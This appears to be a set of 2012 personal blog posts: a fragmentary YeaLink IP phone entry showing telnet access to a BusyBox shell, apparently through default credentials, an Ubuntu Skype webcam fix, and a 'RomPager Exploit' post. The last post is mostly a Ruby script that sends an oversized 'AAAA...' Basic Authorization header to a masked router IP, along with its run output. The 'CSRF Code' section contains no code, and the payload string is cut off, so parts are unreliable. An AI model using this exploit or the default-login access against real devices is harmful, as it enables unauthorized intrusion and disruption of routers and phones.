Monday, December 24, 2012

YeaLink IP Phone SIP CSRF / Default Credentials

:~# telnet 10.10.1.136
Trying 10.10.1.136...
telnet: Unable to connect to remote host: Connection refused
:~#



CSRF Code


:~# telnet 10.10.1.136
Trying 10.10.1.136...
Connected to 10.10.1.136.
Escape character is '^]'.
IPPHONE login:
Password:


BusyBox v1.6.1 (2010-10-08 16:43:22 CST) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

$

Saturday, December 8, 2012

Skype Webcam Fail on Ubuntu (Solution)

Just for my record only.

Need to install both :-

libv4l-0 - Collection of video4linux support libraries
libv4l-dev - Collection of video4linux support libraries (development files)

#apt-get install libv4l-0
#apt-get install libv4l-dev

===EOF===

Tuesday, December 4, 2012

RomPager Exploit.

# ./get.pl -n 17x.x.x.x
[+] GET Http By Pretorians
[!] Target: 17x.x.x.x
Connecting to 17x.x.x.x
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: RomPager/4.07 UPnP/1.0

#ruby rugbi.rb

End Result
===========
./get.pl -n 17x.x.x.x
[+] GET Http By Pretorians
[!] Target: 17x.x.x.x
|!| Can not connect...

===EOF===

Code
--------

require 'net/https'

url = URI.parse("http://17x.x.x.x/")
data = nil
headers = {
  "Host" => "IP",
  "Authorization" => "Basic
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$
}
res = Net::HTTP.start(url.host, url.port) do |http|
  http.use_ssl = false
  http.send_request("GET", url.path, data, headers)
end

puts res.body